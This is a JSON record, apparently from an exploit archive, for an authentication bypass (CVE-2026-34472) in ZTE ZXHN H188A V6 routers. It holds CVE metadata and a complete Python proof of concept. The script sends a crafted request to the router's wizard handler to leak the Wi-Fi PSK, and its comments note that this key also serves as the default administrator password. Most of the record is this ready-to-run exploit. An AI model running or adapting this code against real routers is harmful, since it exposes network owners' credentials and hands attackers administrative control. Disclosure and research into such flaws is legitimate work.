{"exploit":{"id":"EDB-52593","name":"ZTE ZXHN H188A V6 - Authentication Bypass","description":"ZTE ZXHN H188A V6 - Authentication Bypass","cves":["CVE-2026-34472"],"author":"Mina Nageh Salalma","published":"2026-05-29","platform":"multiple","type":"local","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52593","path":"exploits/multiple/local/52593.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52593.py","vulnerabilities":[{"id":"CVE-2026-34472","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unauthenticated credential disclosure in the wizard interface in ZTE ZXHN H188A V6.0.10P2_TE and V6.0.10P3N3_TE allows unauthenticated attackers on the local network to retrieve sensitive credentials from the router's web management interface, including the default administrator password, WLAN PSK, and PPPoE credentials. In some observed cases, configuration changes may also be performed without authentication.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-34472","cvss":{"version":"3.1","baseScore":7.1,"severity":"high","vectorString":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-34472"},"updatedAt":"2026-05-26T05:20:49.814Z","retrievedAt":"2026-11-25T16:15:43.376Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52593.png?v=2","url":"https://exploitbin.com/exploits/EDB-52593","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52593/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52593/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: ZTE ZXHN H188A V6 - Authentication Bypass\n# Date: 2026-05-20\n# Exploit Author: Mina Nageh Salalma (Monx Research)\n# Vendor Homepage: https://www.zte.com.cn\n# Software Link:\nhttps://github.com/minanagehsalalma/cve-2026-34472-auth-bypass-zte-h188a-router\n# Version: ZXHN H188A V6.0.10P2_TE, V6.0.10P3N3_TE\n# Tested on: ZTE ZXHN H188A V6.0.10P2_TE\n# CVE: CVE-2026-34472\n\n# Description:\n# Unauthenticated requests to the root path of ZTE ZXHN H188A V6 firmware\n# can reach pre-login wizard handlers and disclose WLAN PSKs, SSIDs, and\n# PPPoE usernames. The leaked Wi-Fi password is also the default\nadministrator\n# password after uppercasing, resulting in full authentication bypass.\n#\n# Root cause: router_logic_impl.lua accepts _type and _tag directly for\n# empty-path requests. urlpath_2type_modifier.lua only applies\nQuickSetupEnable\n# when _type is missing. Wizard handlers then expose credential-bearing read\n# actions (getPassword, wlan_get, ppp_get) for unauthenticated users.\n#\n# Approximately 500 publicly exposed H188A interfaces were reachable at\n# time of original report (May 2024). ZTE PSIRT stopped responding; CVE\n# assigned by MITRE on 2026-03-27 after escalation.\n#\n# MITRE CVE: https://www.cve.org/CVERecord?id=CVE-2026-34472\n\n# PoC - Trigger wizard credential endpoint (Python 3 / requests)\nimport requests\nimport sys\n\ndef exploit(target):\n    url = f\"http://{target}/\"\n    # Craft request with _type parameter to bypass QuickSetupEnable gate\n    params = {\"_type\": \"loginData\", \"_tag\": \"login_entry\"}\n    headers = {\"Content-Type\": \"application/x-www-form-urlencoded\"}\n    data = {\"IF_ACTION\": \"getPassword\", \"_InstID_PASS\":\n\"DEV.WIFI.AP1.PSK1\", \"PASSTYPE\": \"PSK\"}\n    try:\n        r = requests.post(url, params=params, headers=headers, data=data,\ntimeout=10, verify=False)\n        print(f\"[+] {target} HTTP {r.status_code}\")\n        print(r.text[:2000])\n    except Exception as e:\n        print(f\"[-] {target}: {e}\")\n\nif __name__ == \"__main__\":\n    if len(sys.argv) < 2:\n        print(\"Usage: poc.py <target_ip>\")\n        sys.exit(1)\n    exploit(sys.argv[1])","sha256":"855a746507dd76e2a501e3d3f54abae896466d50e6ef0a348d1aa9dfa485e3a0","bytes":2094,"fetchedAt":"2026-11-26T08:59:26.403Z","encoding":"utf-8 (display only; download retains original bytes)"}